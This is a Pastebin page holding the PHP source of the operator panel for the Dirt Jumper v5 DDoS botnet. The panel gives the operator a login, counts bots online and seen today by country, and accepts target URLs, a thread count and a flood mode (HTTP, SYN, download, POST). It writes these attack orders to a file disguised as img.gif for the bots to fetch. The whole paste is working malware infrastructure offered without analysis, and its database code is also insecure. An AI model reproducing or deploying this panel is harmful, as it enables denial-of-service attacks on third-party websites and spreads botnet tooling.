Advertisement
Guest User

admin.php

a guest
Nov 13th, 2015
218
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 8.06 KB | None | 0 0
  1. <?
  2.     if ($_GET['a']=='exit') {
  3.         setcookie("dj","exit", time()+8640000);
  4.         echo "</script><meta http-equiv='REFRESH' CONTENT='0;URL=index.php'>";
  5.     }
  6. function user_geo_ip($ip, $id) {
  7.         include_once("geo_ip.php");
  8.         $geoip = geo_ip::getInstance("geo_ip.dat");
  9.         if ($id == 1) {
  10.             $cont = $geoip->lookupCountryCode($ip);
  11.         } elseif ($id == 2) {
  12.             $cont = $geoip->lookupCountryName($ip);
  13.         } elseif ($id == 3) {
  14.             $name = $geoip->lookupCountryName($ip);
  15.             $img = str_replace(" ", "_", strtolower($name));
  16.             if (file_exists("img/".$img.".png")) {
  17.                 $cont = "<img src=\"img/".$img.".png\" border=\"0\" align=\"center\" alt=\"".$lang[$conf['lang']]['table_country'].": ".$name."\" title=\"".$lang[$conf['lang']]['table_country'].": ".$name."\">";
  18.             } else {
  19.                 $cont = "<img src=\"img/question.png\" border=\"0\" align=\"center\" alt=\"".$lang[$conf['lang']]['table_country'].": ".$name."\" title=\"".$lang[$conf['lang']]['table_country'].": ".$name."\">";
  20.             }
  21.         } elseif ($id == 4) {
  22.             $name = $geoip->lookupCountryName($ip);
  23.             $img = str_replace(" ", "_", strtolower($name));
  24.             if (file_exists("img/".$img.".png")) {
  25.                 $cont = "<img src=\"img/".$img.".png\" border=\"0\" align=\"center\" alt=\"".$lang[$conf['lang']]['table_country'].": ".$name."\" title=\"".$lang[$conf['lang']]['table_country'].": ".$name."\"> $ip";
  26.             } else {
  27.                 $cont = "<img src=\"img/question.png\" border=\"0\" align=\"center\" alt=\"".$lang[$conf['lang']]['table_country'].": ".$name."\" title=\"".$lang[$conf['lang']]['table_country'].": ".$name."\"> $ip";
  28.             }
  29.         }
  30.         return $cont;
  31. }
  32.     include"core.php";
  33.     include"config.php";
  34.     if ($_GET['login']!=$GET_login) {
  35.         if ($_GET['login']=='') {
  36.             $folder=$folder."admin.php";
  37.         } else {
  38.             $folder=$folder."admin.php?login=".$_GET['login'];
  39.         }
  40.         include"404.php";
  41.     }
  42.     include"aut.php";
  43.     if (($l<>1)and($_GET['new'])!=1) {
  44.         echo '<meta http-equiv="REFRESH" CONTENT="0;URL=admin.php?login='.$GET_login.'&new=1">';
  45.         exit;
  46.     }
  47.     echo'<html>
  48. <head>
  49. <title>Dirt Jumper v5</title>
  50. <link rel="stylesheet" type="text/css" href="dj.css">
  51. <body class=mybody>';
  52.     if ($l<>1) {
  53.         echo'
  54. <center>
  55. <form action="login.php" method="POST" align="center">
  56. <br>
  57. <table class="aut">
  58. <tr>
  59.  <td colspan="2" align="center" bgcolor="#3F3F3F">
  60.  <b>CnC</b>
  61. <tr>
  62.  <td>Login:<td><input style="width:250px" type="text" name="login">
  63. <tr>
  64.  <td>Password:<td><input style="width:250px" type="password" name="pass">
  65. <tr>
  66.   <td colspan="2" align="center"><input type="submit" value="OK" style="width:100%">
  67. </table>
  68.  
  69. </center>
  70.         </form>
  71.         ';
  72.     } else {
  73.         echo'
  74. <center>
  75. <table class=panel><tr><td>
  76. <a class=btn href=admin.php?login='.$GET_login.'>&nbsp;Home&nbsp;</a>
  77. <a class=btn href=admin.php?login='.$GET_login.'&a=s_today>&nbsp;Statistic&nbsp;</a>
  78. <a class=btn href=admin.php?login='.$GET_login.'&a=exit>&nbsp;Exit&nbsp;</a>
  79. </td></tr></table>
  80. ';
  81. if ($_GET['a']=='') {
  82. echo'
  83. <center>
  84. <table class="panel" style="width: 75%"><tr><td style="width: 100%">
  85. <center><h3>CnC</h3></center>
  86. </td></tr><tr><td style="width: 100%">';
  87.     $time = time();
  88.     mysql_query("delete from `n` where `n`<$time-$interval-1 ");
  89.     $sql = mysql_query("select `n` from `n` ");
  90.     $num_rows = mysql_num_rows($sql);
  91.     $n = $num_rows;
  92.     mysql_query("delete from `td` where `time`<$time-86399 ");
  93.     $sql = mysql_query("select `time` from `td` ");
  94.     $num_rows = mysql_num_rows($sql);
  95.     $td=$num_rows;
  96.     $file_handle = fopen("img.gif", "r");
  97.     while (!feof($file_handle)) {
  98.         $line = $line.fgets($file_handle);
  99.     }
  100.     fclose($file_handle);
  101.     if (strpos($line,']')!=0) {
  102.         $url_load=substr($line,1,strpos($line,']')-1);
  103.         $line=str_replace('['.$url_load.']','',$line);
  104.         $id=substr($line,1,strpos($line,']')-1);
  105.         $line=str_replace('['.$id.']','',$line);
  106.     }
  107.     $stop=substr($line,0,1);
  108. $modes=substr($line,1,1);
  109. if ($modes==1) {
  110. $sel1='selected="selected" ';
  111. }
  112. if ($modes==2) {
  113. $sel2='selected="selected" ';
  114. }
  115. if ($modes==3) {
  116. $sel3='selected="selected" ';
  117. }
  118. if ($modes==4) {
  119. $sel4='selected="selected" ';
  120. }
  121. if ($modes==5) {
  122. $sel5='selected="selected" ';
  123. }
  124.     $flows=substr($line,3,3)+0;
  125.     $i=str_replace($stop.$modes.'|'.$flows.'|','',$line)+0;
  126.     $str = strpos($line,'{');
  127.     if ($str > 0) {
  128.         $str2 = strpos($line,'}');
  129.         $load=substr($line,$str+1,$str2-$str-1);
  130.     }
  131.     if ($load <> '') {
  132.         $l = '{'.$load.'}';
  133.     } else {
  134.         $l = '';
  135.     }
  136.     $url=str_replace($stop.$modes.'|'.$flows.'|'.$i.$l,'',$line);
  137.     if ($_GET['info'] <> '') {
  138.         $id = $_POST['id'];
  139.         $url_load = $_POST['url_load'];
  140.         $a1 = $_GET['info'];
  141.         $a2 = $_POST['flows']; $a2 = $a2 + 0;
  142.         $a4 = $_POST['url'];
  143.         $a5 = $interval;
  144. $modes = $_POST['mode'];
  145.         if ($_POST['ok'] <> '') { $stop = $_GET['info']; }
  146.         if ($stop == '') { $stop = 1; }
  147.         $code = $stop.$modes.'|'.$a2.'|'.$a5.$a6.$a4;
  148.         if (($id != '')and($url_load != '')) {
  149.             $code = '['.$url_load.']['.$id.']'.$code;
  150.         }
  151.         $file = fopen ("img.gif","w+");
  152.         if ( !$file ) {
  153.                 echo("Error open file");
  154.             exit;
  155.         } else {
  156.             fputs ( $file, $code);
  157.         }
  158.         fclose ($file);
  159.         echo '<META HTTP-EQUIV="REFRESH" CONTENT="0; URL=admin.php?login='.$GET_login.'">';
  160.         exit;
  161.     }
  162.     if ($stop==1) {
  163.         echo '<form action="admin.php?login='.$GET_login.'&info=0" method=post>';
  164.         $s3 = 'Start';
  165.     } else {
  166.         echo '<form action="admin.php?login='.$GET_login.'&info=1" method=post>';
  167.         $s3 = 'Stop';
  168.     }
  169.         $onl = 'Time: <b><font color=#FF5E5E>'.date("H:i:s").'</font></b><br>Today: <b><a href="admin.php?login='.$GET_login.'&a=s_today"><font color=#DD0000>'.$td.'</font></a></b><br>Online: <b><a href="admin.php?login='.$GET_login.'&a=s_online"><font color=#DD0000>'.$n.'</font></a></b>';
  170.     echo '<center>'.$onl.'<table border="0" style="width: 80%"><tr><td style="width: 100%">URLs:</td><tr/><tr><td width=350><textarea rows="7" style="width: 100%" name="url">'.$url.'</textarea></td></tr><tr><td  style="width: 100%"><center>
  171. Flows: <input name="flows" value="'.$flows.'" type=text maxlength="3" size="4">
  172. <select name="mode">
  173. <option '.$sel5.'value="5">Anti DDoS flood</option>          
  174. <option '.$sel1.'value="1">HTTP flood</option>
  175.          <option '.$sel2.'value="2">Synchronous flood</option>
  176.          <option '.$sel3.'value="3">Downloading flood</option>
  177.          <option '.$sel4.'value="4">POST flood</option>
  178.  
  179.      </select>
  180. </center></td></tr><tr><td width=350><input name="ok" value="'.$s3.'" type=submit  size="50" style="width: 50%" ><input name="save" value="Save" type=submit style="width: 50%" ></td></tr></table></center><br>';
  181.         echo'</td></tr></table>';
  182.         echo'</center>';
  183. }
  184. if ($_GET['a']=='s_today') {
  185. echo'
  186. <center>
  187. <table class="panel" style="width: 75%"><tr><td style="width: 100%">
  188. <center>';
  189.     $time2 = time();
  190.     mysql_query("delete from `td` where `time`<$time2-86399 ");
  191.     $query = "SELECT * FROM `td`";
  192.     $res = mysql_query($query) or die(mysql_error());
  193.     $number = mysql_num_rows($res);
  194.     echo 'All: '.$number;
  195.     echo '<br>';
  196.     while ($row=mysql_fetch_array($res)) {
  197.         $ip = $row['ip2'];
  198.         $geo=user_geo_ip($ip,1);
  199.         $stat[$geo]=$stat[$geo]+1;
  200.         $stat2[$geo]=$ip;
  201.     }
  202.     arsort($stat);
  203.     reset($stat);
  204.     foreach($stat as $i => $geo){
  205.         echo '<small>'.user_geo_ip($stat2[$i],3).' '.$stat[$i].'</small>';
  206.         echo '<br>';
  207.     }
  208. echo'</center>
  209. </td></tr></table>
  210. </center>
  211. ';
  212. }
  213. if ($_GET['a']=='s_online') {
  214. echo'
  215. <center>
  216. <table class="panel" style="width: 75%"><tr><td style="width: 100%">
  217. <center>';
  218.     $time = time()-$interval-1;
  219.     mysql_query("delete from `n` where `n`<$time-$interval-1 ");
  220.     $sql = mysql_query("select `n` from `n` ");
  221.     mysql_query("delete from `n` where `n`<$time");
  222.     $query = "select `ip` from `n` ";
  223.     $res = mysql_query($query) or die(mysql_error());
  224.     $number = mysql_num_rows($res);
  225.     echo 'All: '.$number;
  226.     echo '<br>';
  227.     while ($row=mysql_fetch_array($res)) {
  228.         $ip = $row['ip'];
  229.         $geo=user_geo_ip($ip,1);
  230.         $stat[$geo]=$stat[$geo]+1;
  231.         $stat2[$geo]=$ip;
  232.     }
  233.     arsort($stat);
  234.     reset($stat);
  235.     foreach($stat as $i => $geo){
  236.         echo '<small>'.user_geo_ip($stat2[$i],3).' '.$stat[$i].'</small>';
  237.         echo '<br>';
  238.     }
  239. echo'</center>
  240. </td></tr></table>
  241. </center>
  242. ';
  243. }
  244.     }
  245. echo'
  246. </body>
  247. </head>
  248. </html>
  249. ';
  250. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement